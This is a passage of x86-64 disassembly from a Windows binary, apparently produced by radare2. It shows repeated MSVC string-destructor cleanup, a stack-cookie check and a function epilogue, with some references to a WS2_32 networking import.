call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400058af
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
mov rbx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400058f1
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
movdqa xmm0, xmmword [0x14007a8d0]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140005947
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005941
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005941
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140005985
inc rdx
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000597c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000597c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400683dc
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400059c3
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140005a11
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
xor eax, eax
mov rcx, qword [rbp + 0x1450]
xor rcx, rsp
call fcn.140068020
lea r11, [rsp + 0x1570]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400022d0
nop
call fcn.140002230
int3